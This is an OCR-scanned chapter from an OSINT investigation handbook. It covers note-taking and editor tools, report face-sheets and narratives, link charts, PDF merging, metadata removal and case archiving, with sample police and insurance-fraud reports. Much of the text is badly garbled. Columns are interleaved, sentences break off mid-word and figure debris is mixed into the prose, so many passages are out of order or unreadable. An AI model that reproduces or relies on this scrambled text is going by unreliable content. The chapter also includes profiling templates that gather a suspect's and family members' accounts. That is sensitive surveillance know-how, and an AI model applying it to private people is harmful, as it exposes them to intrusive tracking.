Temell. Travis WeSncsdaj.O<t23 £019 L57 PM Once you have completed your research, you will need to compile your intelligence into a professional report. Using the correct tools and techniques for documentation throughout your investigation will make generating your final report a relatively painless process. Known Identifiers Target Full None: Hone Address: Hailing Address: Telephone 1: Telephone 2: Email Addresses: Case 19-342378 •Extortion ■ Threats Option* Editor Action* Session Hnlory Case #: Investigator: Target: Date: Standard Notes is the best privacy focused note-taking application with AES-256 encryption and has a very clear privacy policy. It has open-source versions for Mac, Windows, IOS, Android, Linux, and web browsers making it a great fit for OS1NT work. You can use Standard Notes completely offline, but if you choose to make an account even the free tier supports sync and end-to-end encryption. The premium version adds advanced features such as multi-factor authentication, automated backups to your own cloud service of choice, and some aesthetic options, such as themes. Figure 30.01 displays typical usage. OneNote is the power option for digital note-taking at the price of a privacy compromise, but it is worth mentioning because many of us work for organizations that use Microsoft Office as their enterprise office platform. I recommend installing the standalone version of OneNote unless your agency requires use of the cloud-based Office 365 ecosystem. The default version is 32bit. If you want the 64bit build, look for "Other download options” at the bottom of the page listed above. Creating a fresh Microsoft account will prevent the installation from cross contaminating your other MS Office projects. Microsoft will offer to provide you with a new Oudook.com address, but a ProtonMail address would be the better choice for most people. Like any form of research, note-taking is essential when conducting a professional OSINT investigation. As mentioned in the previous chapter, I prefer to take my notes in both paper and digital formats. The paper scratchpad is for quick identifiers, reminders, and at times a rough diagram. The digital notes are for pasting copied text, images, video, or other files. My hand-written notes tend to be unstructured, whereas collecting digital content often benefits from a pre-structured destination. The following are my recommendations for solid digital notebook applications for OSINT work, along with some of their respective pros and cons. CherryTree (giuspen.com/chertytree) 482 Chapter 30 • Open a terminal window by clicking on the shortcut in your Dock. • Type the following into terminal: sudo apt-get install cherrytree • Press enter and you will see CherryTree and all dependencies installed. You can create your own templates with the export feature. Once you have a notebook structure complete, click "Export" and then "Export To CherryTree Document". In the next window, choose "All the Tree" and click "OK". For storage type, leave the top option selected and click "OK". Type in a name for your template, such as "OSINT_TemplateSeptl9" and click "Save". If launching a new investigation on a clean VM, the following steps will add your template within the application. CherryTree is my note-taking application of choice for Linux. It ticks all the boxes we like such as being open- source and offline. What separates it from other Linux options is its ability to support both hierarchical notes and some limited support for storing images, tables, and other filetypes. The following steps will install CherryTree to your Linux Original VM. The desktop version of OneNote is supported on Mac, IOS, Android, and most major browsers, but each will require authentication with the account you used for installation. Microsoft, like other major platforms, forces you to sync to their ecosystem whenever possible. I have had litde luck getting even the "offline" versions of their Office products to load without an internet connection. What makes OneNote unique is its ability to organize notes in a hierarchical structure, similar to pages within sections within notebooks. From an organizational perspective, it functions exactly like an old-school case binder of paper reports and printouts. I can create a new notebook tided "CopperThieves" with tabbed sections for each suspect. Each section is then broken down into my desired pages: Bio, Facebook, Twitter, Vehicles, Employment, etc. These pages can be populated from scratch, or 1 can preload them with my case templates or a simple spreadsheet. Open CherryTree from the Applications menu and add to your favorites, if desired. CherryTree has vast functionality, but the core feature of which we want to take advantage is the hierarchical node structure. Think of Nodes as notebook sections and SubNodes as pages within those sections. On the left side of the CherryTree window is the "node tree", which shows everything in your current notebook. To add a new section, click on "Tree" in the top toolbar and then "Add Node". Give your node a logical name such as "Facebook" and select "OK". To add a page or "SubNode" to that section, right-click on the node and select "Add SubNode". Name it appropriately and click "OK". Most of the functions we care about can be completed via the "Tree" menu in the toolbar or by using the right-click context menu. Another feature that makes OneNote beneficial for data collection is its ability to accept just about any filetype as insertions or pastes into the pages. I can drag a pdf report from the Department of Licensing and drop it on the "Vehicles" page of a target and OneNote will ask if I want it added as a printout or file. The printout option adds a human readable image of the file, while the file option embeds the pdf file itself. I like to add both image and file by dragging in the pdf twice. That gives me a visual representation of the pdf contents while also saving a copy of the report in its native format. Double clicking on that pdf file after import would open it in a browser window or pdf reader of choice. 1 keep an original section prepopulated with my templates. For each new case, I right-click the section tab at the top of the window and select "Move or Copy". I select the destination notebook and click "Copy". If I select the same notebook where my original is, it will paste the copy into a new tab, but add a number to the section name, such as "Template 1". Now 1 can double-click that tab and rename it appropriately. 1 can also export entire notebooks by clicking on "File" and then "Export". Notebooks can be exported in a proprietary format, whereas sections and pages may also be exported as pdfs, docs, and several other file formats. This is convenient should you want to export sections from your digital notes to include in your report appendix. Advanced Text Editors Atom (atom.io) Documentation & Reporting 483 i macOS: brew install atom Windows: choco install -y atom Linux: sudo snap install atom —classic CherryTree is not without its downsides. It is not nearly as user-friendly as OneNote when it comes to drag-n- drop and its support for inserting non-text filetypes is inconsistent. However, it is a hierarchical digital notebook within our Linux VM and one with much greater privacy than we could ever obtain using a Microsoft or other closed-source office application. There is a windows installer available as well, although I recommend using the Linux version in your VM whenever possible. A CherryTree template is included in the digital files download page. You may want to consider adding Interactive Development Environments (IDEs) to your arsenal of documentation tools. These are applications built for programmers and web developers for writing and testing their code. While full IDEs can be very complex, there are a handful of “light” IDEs or advanced text-editors which fit well into our workflow. The editors handle basic note-taking quite well. They also provide additional capabilities such as built-in terminals and mark-down support, which is exacdy what we need when customizing our OSINT tools as previously explained. There are significant efficiency gains to be had when using a tool that suppons note-taking, running scripts, and editing code all within a single interface. While many readers will continue to rely on office suites from major publishers to prepare your final reports, these light IDEs are capable of handling much of our investigative workflow. • Download or copy your template file to the desktop of your VM. The template file will have a file extension of .ctb. • Within CherryTree, click "File" and "Open File". • Browse to your desktop, select your template, and click "Open". • Click "File" then "Save As". • Leave the storage type as "SQLite, Not Protected (.ctb)" and click "OK". • Type in your case name/number as the new filename and click on "Save". Although not a full IDE, Atom offers a simple and attractive interface and large collection of plugins which can be used to add additional functionality. It requires very litde configuration and yet is highly customizable if you choose to do so. While the base application lacks a terminal, that functionality can be added by way of community plugins. Atom is less responsive than some of the other editors when working with larger files. It is open-source and easy to install on macOS, Windows, or Linux using the package managers previously explained. The advanced text editors explained here were chosen based on the balance of functionality; ease of use; and their status as open-source applications. Each is available for macOS, Windows, and Linux which makes them ubiquitous across all major platforms. VSCode is very powerful with a large variety of extensions which add near limitless functionality, but at the cost of being tied into a proprietary Microsoft product. VSCodium strips away the Microsoft piece, but at the cost of some functionality. Atom and Joplin are very user friendly, but lack many of the extra features that define a true interactive development environment. I recommend testing each and using the editors which feel right to you and make your workflow smooth. For those not ready to move to a more advanced editor, consider the previous recommendations for basic text editors and mainstream office applications. My primary needs from an advanced editor are text notes, mark-down editing, and access to run terminal commands. The following plugins will add HTML and terminal support to the editor. VSCode (code.visualstudio.com) VSCodium (vscodium.com) 484 Chapter 30 HTML Preview (atom.io/packages/atom-html-preview) Terminal Plus (atom.io/packages/terminal-plus) macOS:brew install visual-studio-code Windows: choco install -y vscode Linux: sudo snap install —classic code VSCode also offers a real-time collaboration extension (github.com/MicrosoftDocs/live-share). Data is end-to- end encrypted using the SSH protocol. In order for all users in a session to have read-write privileges, they must use a Microsoft or GitHub account. If you require live collaboration functionality, I recommend setting up a covert account on GitHub instead of using a Microsoft account. If you do not require real-time collaboration with team members, there is no reason to install Liveshare. VSCodium is an open-source clone built from the VSCode source. It removes the Microsoft data collection in exchange for a slightly more complicated configuration process. VSCodium offers most of VSCode’s capabilities. If you are not already using Office or other Microsoft products, this is the best choice for you. Although the bulk of data sharing is disabled by default, it is recommended that you review all application settings and look for any which use "online services". There is no substitute for reviewing configuration settings yourself. VSCodium presents a slightly less polished user experience. Some extensions require additional installation steps and there is a much smaller community from which to draw support. VSCodium is available on macOS, Windows, and Linux using the package managers which were previously explained. VSCode is very close to being a fully functional IDE and it has a huge following in the programming and web development communities due to its extensive catalogue of available extensions. Extensions are plugins which add additional features and customizations such as interface themes. While the source code is open, the application itself is a proprietary free Microsoft product and its primary weakness is the standard telemetry and data collection that accompanies most Microsoft products. Therefore, VSCode is a good option for someone already working in a Microsoft enterprise environment. In addition to simple text capabilities, VSCode supports mark-down. This makes it a good tool for both notes and also for working on our custom tool files. It has a very responsive interface and does not bog down when dealing with large files. It has arguably the largest collection of extensions of any editor in its class and it supports running code should you want to customize some scripts. The standard install includes a terminal so you can run CMD, PowerShell, or bash from within the application. Real-time collaboration features can be added via the Live-Share extension. VSCode is available for macOS, Windows, and Linux. Following installation, immediately review all settings and disable telemetry'. You can accomplish this by selecting "File" > "Preferences" > "Settings" or "Code" > "Preferences" > "Settings". Using the search box, submit a query for "telemetry’" and uncheck "Telemetry’: Enable Telemetry setting". Now search for "@tag:usesOnlineServices" and review the settings which make calls to online services such as those querying for extension updates. Disabling these will reduce your exposure to Microsoft but may limit some functionality’ such as automatic updates and notifications. Although the diverse offerings when it comes to extensions present a great deal of power and customizability, it can be a little overwhelming at first. I recommend the following extensions for note-taking and basic work with HTML and other common web filetypes. HTML Preview (github.com/george-alisson/html-preview-vscode) Default Browser (github.com/peakchen90/vscode-open-in-default-browser.git) PowerShell (github.com/PowerShell/vscode-powershell.git) Python (github.com/Microsoft/vscode-python) Prettier Code (github.com/prettier/prettier-vscode.git) Face-Sheet 485 Documentation & Reporting i macOS: brew install vseodium Windows: choco install -y vseodium Linux: sudo snap install codium -classic The narrative follows the face-sheet and it tells the story. This is your opportunity to describe P to reach your key findings. I like to organize my narrative in either chronologica or er or findings as listed on the face-sheet. 1 always prefer to tell a story in the order in w ic gs can be vital if your report will be later used as part of your courtroom testimony. Write in the first person and as concisely as possible, just as you would for any written stat eacjJ3pjece report or other legal document. Write just enough to provide context and a clear un erstan 1 on tpie of discovered intelligence. This section can be a couple of paragraphs to sex era pages, complexity of the case. Although some investigators choose to write their reports as they go, I prefer to use handwritten and digital notes to complete the formal report at the conclusion of the investigation. I have created a series of templates in Microsoft Word and Adobe Acrobat, each of which are available in the digital files download, which provide a polished documentation framework for the most common mission scenarios. Al though they vary in format, each contains a common structure including face-sheet, narrative, analysis, and appendix. acknowledge anv^°U^i a<^ress anY discoveries that impact the investigative findings. It is important to for those workin CXCU’pat°7 cvidcnce and ensure that it is represented in your reporting. This is especially true intelligence bri ° Cnn\lna^ jusdce and government sectors. Likewise, if your report takes the form of an such as "nnciiktJln& ^°jh au lcnce maY e*pect confidence levels associated with your conclusions. Use terms unsubstantiated , likely”, or "highly likely", rather than expressing the chances in percentages. made here are r secdon describing the best-practices used during the online investigation. Key points to be used’ and a brief mpartmenta ization from other casework; dioroughness of research; software and services shouid be trusted. Fi™™30°05 The face-sheet is typically one or two pages and is the most important piece of any report, t is meant to quic convey the most important intelligence. The mark of a good face-sheet is that a boss or c lent can g ance a and instandy know the case name/number, who collected the intelligence, investigative time rame, P subject identifiers, and a concise set of key findings. The key findings can be in bullet or paragrap orma should be no more than a half of one page. If you choose to include a table of contents or t e report, 1 placed under the case tide and prior to key findings. Figure 30.02 displays an examp e o a simp e while Figure 30.03 displays a full report xrersion. If you are limited on time or supporting a field operation, such as fugitive apprehension, the face she - the only form of documentation required. It is not unusual to receive "profile" requests xvhde other invesugato are purely looking for assistance in identifying accounts, addresses, phone numbers, an associates. This also makes for a convenient quick reference sheet during future cases or incidents inx ■ subjects. Events also get intelligence sheets which concisely address need-to-know e s suc hashtags, pertinent groups, and operational contacts. It should have everything you wou x\ ant to monitor public social media posts and live video streams. Figure 30.04 displays an event inte igence Narrative Anatomy of an OSINT Report I I Date Completed: i Source Description □Photos □Video Figure 30.02: A simple face-sheet. 486 Chapter 30 |Summary of Findings | Alternate Identities and Associations |Photos/Vldeo [Attachments Name: Address: Employer: Vehicle #1: Vehicle #2: Associate: Other. Email #2: Email #4: Username #2: FB #: Subject Photo Open Source Investigative Profile Agency/Org Name Section or Analyst Name Excel/CSV Spreadsheets Digital Media (Optical Disc) Photographs DOC/Criminal History Email #1: Email #3: Username: Facebook: Twitter Instagram: Other Link Analysis Report TLO/Clear/Accurint Report DOL/GOV ID Other. DOB: Phone #1: Phone #2: SS#: Blog: Forum: Domain: I [Finding 1] [Finding 2] [Finding 3] [Finding 4] [Finding 5J Subject Profile DOB: Age: Home Address: Mailing Address: Telephone: Telephone: Target Email: Taiget Usernames: Target Social Network Profiles Facebook: Twitter: Figure 30.03: A full report face-sheet. Documentation & Reporting 487 i X X X X AGENCY LOGO Requested By: Unit: Date Report Prepared By: Approved By: Date Date: (Subject Nome R/G/DOB Phone Numbcr(s): Last Known Address: CM CM =h= CD tn D Investigative Summary Clear and concise synopsis of the case findings. Information critical to understanding can be included as bullet points or short paragraphs. Detailed evidence w:L' be included in subsequent sections of the reped. ’ct details such as personal idcnuiicrs and account names/numbers. Rctitlc and/or delete cells as Add targe needed. Target Full Name: [Intelligence detailed in this report was collected from publicly available sources on the internet and in compliance with agency policy os well as local and federal law.) LOGO HERE Threat Assessment * Event I^TTnllO Event Site: Location: Contact #: Contact#: Details Description Video Feeds Figure 30.04: An event intelligence sheet. 488 Chapter 30 [Hashtag, Users, Sites [Groups/lndividuals of Interest Security Contact Incident Command: Hashtag: Hashtag: ©User. ©User. ©User ©User Event Name Section or Analyst Name Date(s): Official #: Official @ Site: Site: Site: Site: Site: Site: Case Narrative Figure 30.05: A report narrative. Link Analysis & Timelines free and Documentation & Reporting 489 Intelligence detailed in this report was collected from publicly available sources on tne internet and in compliance with agency policy as v/ell as local and federal lav/. I raining & Qualifications - Jason Edison is a 20-ycai veteran of the Springfield Police Department where he serves as the investigative lead in the departments Digital Crimes Section. He lias completed the departments advanced online investigations and digital forensics training. He has conducted hundreds of internet-based investigations and served as an expert witness regarding digital evidence. and understandable g ' x investigation warrants this level of investment and are a nice touch on major cases. When 1 do not user-friendly link visualization tools. Draw.io (www.diagrams.net/integrations.html) Visual Investigative Scenarios (vis.occrp.org/account/metro) Gephi (gephi.org) Visual Site Mapper (visualsitemapper.com) MindMup (mindmup.com) NodcXL (nodexlgraphgallery.org/Pages/Registration.aspx) NWU (knighdab.northwestern.edu/projects) On 11/14/2019 Detective Johansen widi the Homicide Unit requested mv assistance in identifying and locating a possible witness to a shooting death diat occurred at 4200 N Jackson St. on November 12th, 2019. Detective Johansen provided me witlr a tip sheet wherein an anonymous caller purported that the Twitter handle “@Jakijumpjorp66” had posted photos of the shooting as it took place. No further information was provided by the anonymous complainant. I researched user “@Jakijumpjorp66” using a flesh Clrrome browser witliin a newly configured virtual machine. These best practices ensure that die online research is free from cross contamination with other casework I conducted keyword searches of the username against the site Twitter.com using Google, Bing, \andex, Baidu, Sear, ahoo, Duckduckgo, and Exalead. Google returned a result that showed a photo that was cleady from the intersection in question. I browsed to the corresponding page on twitter (https:/ /twitter.com/Jakijumpiorp66/media) and preserved a copy of die page using die Fileshot extension in my Chrome browser (see appendix item 3.46). The photo depicted a man clearly firing a liandgun in front of a signage tor “ 1 om’s Waterbed Warehouse.” I saved a digital copy of die photo at die highest resolution available and placed it in die digital media archive which is included in the optical media attached to this report. Not all reports will contain an analysis section, but this is where I present graphical components that support understanding of the preceding narrative. These include timelines of key events and link chans mapping out relationships between individuals, groups, locations, and internet sites. In my organization, this type of specialized work is often handled by civilian analysts who arc proficient in software such as Maltego or 12 Analyst's Notebook. 1 provide them with a copy of my face-sheet, narrative, and a hand drawn map of the case entities and corresponding relationships. They use these to construct a more professional, visually appealing, ; graphical representation of the criminal organization or series of events. Not even’ ' 1 ...d not every’ investigator has these resources available, but they have analyst resources available, I leverage one of the following the lighter options (Figure 30.06) Timelines and Event Maps 490 Chapter 30 • Navigate to https://github.com/jgraph/drawio-desktop/releases. • Click the Linux "deb" link and download the installation file. • Right-click on the downloaded file and choose "Open with Software Install". • Click the "Install" button and provide your password. • Open the application from the Applications menu and add to favorites, if desired. One small quirk that I have noticed when working with Draw.io in my VM is that when I choose to save my project the pop-up window is hidden behind the chart window. The easiest way to bring it to the front is to click the "Activities" button at the top left of the VM window which will show you all open windows. Click the file section window and it will pop back on top of all other open applications. The Activities button is a great way to find lost windows if you have several applications or terminal windows open at once. 1 formerly used the free, stripped-down version of Maltego called CaseFile for my link charts. 1 have since moved on to better open-source options that are far less resource intensive and less of a privacy concern. Remember, when working in our VM, we are borrowing resources from our host machines, so we need to use lightweight applications whenever possible. I prefer Draw.io for most investigations. It is most commonly used online as a browser-based diagram solution. When you browse to the site it will prompt you to create a new diagram, but first click on "Change Storage". Select "Device" and check "Remember this setting" to establish that we will be saving our work locally rather than with Google or Microsoft. Once you select either a blank diagram or one of the many templates, you will be ready to start building a link chart representing your investigative diagram. Before moving on, consider a more private option by installing the offline desktop application in your Linux VM. The following steps should be conducted in your OS1NT Original VM before launching a cloned investigation machine. • Click "Extras" at the top and select one of the additional themes. I use for anything being printed, but 1 find that dark works well visually. • At the bottom of the "Shapes" panel on the left, click "+More Shapes...". • Browse through and check any sets that look useful and click "Apply". One I always include is "Web Icons" under "Other". The "Web Icons" and "Web Logos" work very well for OSINT charts and the icon styles tend to be more modern than the default selections included in the offered templates. • There is also a + button in your toolbar that will allow you to import your own images into the chart or even draw shapes freehand. Once the application is running, choose to create a new diagram, and a window will open offering you several templates. Some of the options in the network category work well for OSINT, or you can start with a blank project. Draw.io is very intuitive, allowing you to select icons on the left and drag them into your chart. Any linear icons (lines or arrows) are connectors and can be used to represent relationships between entities on the diagram. Double-clicking on text will allow you to edit the labels. The toolbar at the top and the right-click context menu offer many additional options for editing or adding components to the link chart. Save and export options are in the "File" menu. Draw.io suppons export in the most common filetypes such as pdf, docx, png, and html. When you first install Draw.io the default settings will present charts which appear a bit outdated due to the art style of the standard icons. Changing the following settings can fix this. Draw.io is very flexible and you could use it to create timelines or event maps. However, I like to have multiple options for any task. The following descriptions are of two other applications for dedicated timeline and mapping tools. Event Viewpoint (eventviewpoint.com) Time Graphics (time.graphics) ■ f 3rd Figure 30.06: The Draw.io light theme. v------ 6 u I © 1^2-1 1 Figure 30.07: The Viewpoint timeline and mapping application. Documentation & Reporting 491 — (^Viewpoint = Stent Robbery Pir-ericw A4at3m»nr^n) t’xjusi rums o t.*v *r-. r "i Cejr De'aa $r,» 9O 0 o o o - • ■ 5 ■■ j :- Event Viewpoint is a free, browser-based timeline and mapping application. It will allow you to create events made up of a location, designated span of timc/date, and event notes. You may add images and view your case as a list, timeline, or geographical map. An example is seen in Figure 30.07. You will need to sign up for a free account using a non-attributable email address. Event Viewpoint is not open source and does collect some user data so make sure to use a clean browser and VPN. I never use these types of browser-based applications to work with sensitive data. Time Graphics is a premium browser-based timeline tool and you will need to make an account using a valid email address. Only premium users can save privatized projects, but you can select a two-day free trial. The interface is driven by an intuitive right-click context menu and will allow you to add events, pictures, video, and notes. Figure 30.08 shows an example. You can export your project in several formats including pdf, docx, and json. 0 0 I & 0 ? ✓ r s t *- D Q co := Q 6 ? ^ = u <• - X 0-^0 £0 & 0t) / * m. I i. £ V N H u © a ® b Figure 30.08: The Time Graphics application. Appendix .org/pdf-merge) 492 Chapter 30 multiple pdf files. It is available for Linux, Mac, investigative VM. Installation in Ubuntu Linux is PDFsam Basic (pdfsam.c • Choose "Add" or drag multiple pdf files onto the window. • In "Merge Settings" > "Table of Contents", select "Generate from file names". • Click "Run" on the bottom left side. • In your Linux VM navigate to https://pdfsam.org/download-pdfsam-basic/. • Click on "Deb package for Debian based Linux distributions" to download the app. • Right-click die file and choose "Open with Software Install". • Click the "Install" button. PDFsam Basic is a free and open-source application for merging and Windows, but the Linux version is the perfect fit for our straightforward, as follows. A new combined pdf document will be created in the same directory’ as the source documents. PDFsam Basic has many more features that will allow you to manipulate your pdf documents, such as removing or rotating a single page within a long document. The main menu is accessible by clicking on the house shaped icon on the top right of the application. To the right of that, the icon made up of three stacked horizontal lines will take you to the settings page. Here you can change the default output directory’, should you want to make it your case folder. The premium versions of PDFsam are closed source, costing roughly' S60 a year, and primarily’ offer more options to edit and convert the documents into other filetypes such as docx. 1 find the free version sufficient for my needs. This installation provides a new icon in the Applications menu. Opening the application presents a user-friendly menu with many options. The "Merge" function will compile pdfs into a single file with the following steps. The appendix of a report is made up of all the supporting documentation and media captured during the investigation. This will be screen capture files, still frames from YouTube evidence, spreadsheets of social media contacts, and any other digital evidence that can be displayed in a document format. These are working copies only, with the digital originals preserved on external media or other format approved by’ your agency's digital evidence policy. Many of your tools are going to generate pdf files which you will then need to include in your report appendix. If you have Adobe Acrobat DC you can easily’ combine the working copies of your pdfs into a single document for easier distribution. The free versions of Acrobat do not support combining or conversion of multiple documents. I prefer an open-source option that does not require an account with Adobe, such as the following. Hunchly (hunch.ly) optional report rename it FlK&vlh«s<! 3-KOXt Figure 30.09: The Hunchly Report Builder interface. Document Sanitization Documentation & Reporting 493 Report Builder Drag and drop ■■ .i-mr-ts from Report Elements Section Text Paragraph Page History Table Caption: ■ URU Slttion ' E23 © • On the main toolbar, choose "Export" and then "Open Report Builder". You will see elements on the left and an empty title bar on the right. • Title the report to match your case, such as the target name followed by the case number. • Under the title bar, there is a box with an editable tide of "Section 1". Click it and rename as "Photo Evidence" or something similar. • Find "Tagged Photos" in the left panel. Click on it to expand a list of your tagged photos. Click and drag "All Tagged Photos" over to the box that you retided "Photo Evidence". • If you wish to add a list of all captured pages, drag "Page History' Table" to the right. • On the top right, you can toggle between docx and pdf export options and then select "Export . This will open a "save as" window and allow you to browse to your case directory where you can — "Photo Evidence" and click save. Hunchly' was mentioned in prior chapters and is one of the only paid OSINT tools I use daily. If you are a Hunchly' user, the report builder can be used to create your appendix even if you are not planning to use Hunchly' to prepare the entire report. The first step is to set aside the evidentiary copy of your recovered data. This is accomplished by clicking on "Export" and then "Export Case". This will organize the raw data into an archive which can then be transferred to optical or other storage media. We may' want a visual representation of this data included in the appendix of our report, which can be accomplished with the following steps. Although I prefer to submit paper reports with an attached optical disc of supporting digital evidence, you may be constrained to the documentation procedures defined by' y'our organization. If your agency’ uses any’ of the full-feature proprietary’ products such as Word or Acrobat, there is going to be metadata included in the digital version of your report that could unnecessarily' expose y'our account details. While we would never want to remove metadata from evidentiary' documents, removing hidden author data from your investigative report prior to submission is a recognized best practice. The primary advantage of using Hunchly to generate your appendix is that it will add the capture date, hash, and URLs to each preserved page and image. This is beneficial when using the appendix as a hard-copy’ visual reference for the full evidentiary case export. Figure 30.09 displays the Hunchly Report Builder. To accomplish this in Microsoft Office products select File > Check for Issues > Inspect Document. This will open the document inspector window' with a list of possible metadata. Check all boxes and click "Inspect . This - Date ennj- r e ’/.Gi.-.p ? Caption: T>-r> URJ_. .. Case Archiving & Cleanup 494 Chapter 30 It should be noted that removing metadata can potentially break formatting or corrupt the entire file; therefore, it is wise to create a backup copy prior to metadata removal. You can also use third-party scripts and tools to clean documents, such as the Metadata Anonymization Toolkit (https://github.com/jubalh/MAT) for Linux. 1 find that these tools are more prone to breaking documents created in Microsoft and Adobe products. Thus, for those types of documents, I use the built-in removal tools described above. will execute a scan and any concerns will display a red exclamation point. Typically, these will be in the "Properties'' or "Header, Footers, and Watermarks" sections. 1 often want to keep footnotes and do not remove this section. However, next to "Properties" click "Remove all". This will delete most of the metadata such as the username of the author. This is by no means a complete cleanse, but is an easy way to remove low hanging fruit. Upon completing a report, I collect my analog and digital case work and archive it for future use. The length of retention of these notes, virtual machines, screen captures, and repons are dependent on the policies of my organization or the expectations of the client for contracted work. When appropriate 1 keep handwritten notes for six months and digital documentation for at least three years. Should the case be later adjudicated, 1 have the documentation available. It is also not uncommon to have a current target resurface in a future investigation, in which case those digital notes will give you a head start on that new case. A final warning for users of OneNote or other digital notebooks. The search capabilities built into OneNote are very useful when querying subjects for any previous work your team has completed. However, hoarding data long-term can leave you with an awful mess if you do not have a system for archiving old cases. I have an archive notebook for each year and within it sections broken down by7 month. Any completed cases get moved to the archive, and at the end of each month I review any remaining sections to assess their status. Then, at the end of each year, I go through all my notebooks to tidyr up any' loose ends and consider purging any archived notebooks that have gone untouched for longer than three years. Another approach is to export older notebooks and save them to optical discs or other long-term storage. In your own agency, please ensure that you implement an organization system that works for your workflow and one that is also compliant with retention/audit policies. Keep in mind an old, but still very effective, method for removing metadata from non-evidentiary documents is using a scanner. Just print your report and scan the paper report back to a digital format using a scanner. The new document will have metadata based on the scanner/copy7 machine rather than your own accounts or workstation. If this scanner is an enterprise grade copier, it likely saves this data temporarily to a hard-drive and you would never want to use this technique with sensitive documents. In the toolbar, you will see an option to "Sanitize Document". Think of this as the express option for removing metadata as it will use a set of default removal choices to perform the same task that we previously7 did. 1 prefer the former method for most projects, as I like to have more granular control over what is removed. To perform a similar metadata removal in Adobe Acrobat, click on "Tools" and under "Protect & Standardize", click "Redact". r\ new set of options will show up just below the top toolbar. Click "Remove Hidden Information" and a panel will open on the left side of the application showing a running scan of your document. Under "Results" you can sec what types of data were found. You should uncheck boxes next to any items that you do not want removed. When you click "Remove", anything with a check mark will be deleted permanendy from your document. These changes are not applied until the next time you save the document. To do this, click "File", then "Save As" and give your cleaned document a unique filename, such as Policy_y6_san.pdf. Whenever possible, I tty to use naming conventions that convey the state of the file such as adding "san" or "clean" to indicate it has been sanitized. Smaller Investigations staking applications and preserved Documentation & Reporting 495 Date: November 17, 2017 Suspect: John Davis • On June 27, 2017, Mr. Davis participated in a 5K placed 113 out of 1,237 with a time of 00:28:16. • Onjui take place on race in St. Louis. Online records indicate that he The following pages represent the evidence of these findings. Please note that all screen captures were in digital format and are included within the DVD attached to this report. ’ me 11, 2017, Mr. Davis received an invitation through a Facebook Event from his sister, Jane Davis to attend a retirement celebration at Lake of the Ozarks, Missouri. This event was scheduled to Saturday, June 17, 2017. Much of this chapter has focused on large investigations which require in-depth note-taking applications and visual analysis tools. This may be overkill for you. I end the chapter with reporting options for smaller investigations. This section attempts to convert your minimal evidence into digestible reports. I believe the first consideration for smaller OSINT reports should be the "Executive Summary". This document should be limited to one page, and it should only focus on the absolutely vital evidence found during your investigation. Think of it as the "elevator pitch". You have only a few minutes to present what you found. There is no time to explain how a reverse-video search works or about the ways you can exploit a Facebook account with a user ID number. The following page displays a typical Executive Summary'. • According to his deposition, Mr. Davis’ chiropractor is Neil Stevens in Ladue, Missouri. Dr. Stevens ordered Mr. Davis on bedrest until further notice on June 14, 2017, and continued this order on July 27, 2017. • On June 13, 2017, Mr. Davis claimed to sustain a back injury' while working at the South Plant on June 12, 2017. Fie was sent home on the 13th, and has not returned to work since. Investigation Number: 2017-54887 Investigator Michael Bazzell On November 12, 2017,1 was requested to conduct an investigation into John Davis, a former employee that has made claims against y'our company' in reference to being injured on the job. Upon completion of my investigation, I have collected 143 relevant screen captures of online evidence that validates your resistance to his claims. The following pages include detailed analysis of the online content, but this cover page summarizes the most damaging evidence found that contradicts his previous deposition testimony. 1 find the following facts to be most useful. • Dr. Stevens' daughter possesses an Instagram profile indicating that she is best friends with the daughter of Mr. Davis. Mr. Davis' daughter attended a sleepover at Dr. Stevens' home on March 12, 2017. Dr. Stevens is an avid hunter, as is Mr. Davis. On September 22, 2017, Mr. Davis and Dr. Stevens placed second in a duck hunting competition in Boone County, Missouri. Online records confirm they were on die same team. • On August 12, 2017, Mr. Davis posted a review on Amazon for a steel rack for mounting onto an ATV. The review included, "This thing survived five miles of rough terrain last week, and my rifles didn't get one scuff... I will never go hunting without this on my 4-wheeler". • On June 18, 2017, Jane Davis posted numerous photos to her Facebook profile, including an image of Mr. Davis lifting a keg of beer above his head. but ultimately, they poj Age: 496 Chapter 30 Investigation Number: Investigator: Twitter: Google: Other: Twitter: Google: Other. Twitter Google: Other Other Twitter: Google: Other Date: Suspect Full Name: Home Address: Mailing Address: Spouse: Child # 1: Child # 2: Suspect Email Addresses: Spouse Email Addresses: Child # 1 Email Addresses: Child # 2 Email Addresses: Suspect Usernames: Spouse Usernames: Child # 1 Usernames: Child # 2 Usernames: Suspect Social Network Profiles: Facebook: Instagram: Other Spouse Social Network Profiles: Facebook: Instagram: Other Child # 1 Social Network Profiles: Facebook: Instagram: Other. Child # 2 Social Network Profiles: Facebook: Instagram: Other: Other DOB: Telephone: Telephone: This partial template includes explicit details located during my investigation. I do not cite any sources, and I use this as an easy reference for account information that someone may use later. On some investigations, the Suspect Details section is several pages. After I have completed my Executive Summary and Suspect Details, I write the report narrative. The following are two small portions of how this report might appear. Note that I already possess screen captures of all online evidence, titled as previously explained. The previous example provided just enough detail to give an overall synopsis of the case. Most clients will not read past this page until necessary. They may thumb through the entire report and look at any screen captures, but ultimately, they possess the information they need. Obviously, you still need to provide your evidence, which is what we will do in the next portion of the report. I use a specific "Suspect Details" template, but you should create your own that best represents your needs. Consider my example below. 006-https_facebook.com_photo.php?fbid=l 828444224119932 | 2017-ll-17-10-33-ll.pdf Screen captures of these messages Documentation & Reporting 497 001-https facebook.com_JohnDavis9 | 2017-ll-17-10-15-ll.pdf 002-https facebook.com—JohnDavis9_photos | 2017-1 l-17-10-16-12.pdf 003-https facebook.com_JohnDavis9_about | 2017-11-17-10-17-18.pdf 004-https facebook.com_JohnDavis9_friends | 2017-ll-17-10-19-31.pdf 005-https facebook.com_JohnDavis9_events | 2017-11-17-10-22-11 .pdf I located the Facebook profile of the suspect at facebook.com/JohnDavis9.1 generated a screen capture of each section of this profile, as publicly visible to any user. These files were saved to disk, and titled as follows. from:kdavis722 to:pstevens6655 from:pstevens6655 to:kdavis722 045-https twitter.com_from:kdavis722 to:pstevens6655 | 2017-11-17-11-15-45.pdf 046-https twitter.com_from:pstevens6655 to:kdavis722 | 2017-11-17-11-16-42.pdf 045a-Cropped Messages.pdf 046a-Cropped Messages.pdf Date: November 17, 2017 Suspect: John Davis were saved as the following. Of these messages, 1 found three references to the suspect and his doctor participating in a hunting trip. These specific references were cropped and saved as follows. Investigation Number: 2017-54887 Investigator: Michael Bazzell On November 17, 2017,1 was assigned an investigation into potential fraudulent medical claims made by John Davis, a former employee of INSERT COMPANY HERE. The following represents a detailed summary of my findings. Note that I did not place a screen capture of this evidence within the report itself. There are two main reasons I do not place screen captures within printed report text. First, I believe it is better to keep the report concise and clutter-free. The client can easily view the evidence within the provided disc or drive. Second, it can be quite difficult to include an entire screen capture within an 8 ’/z x 11 page. I would likely need to crop any images, which also 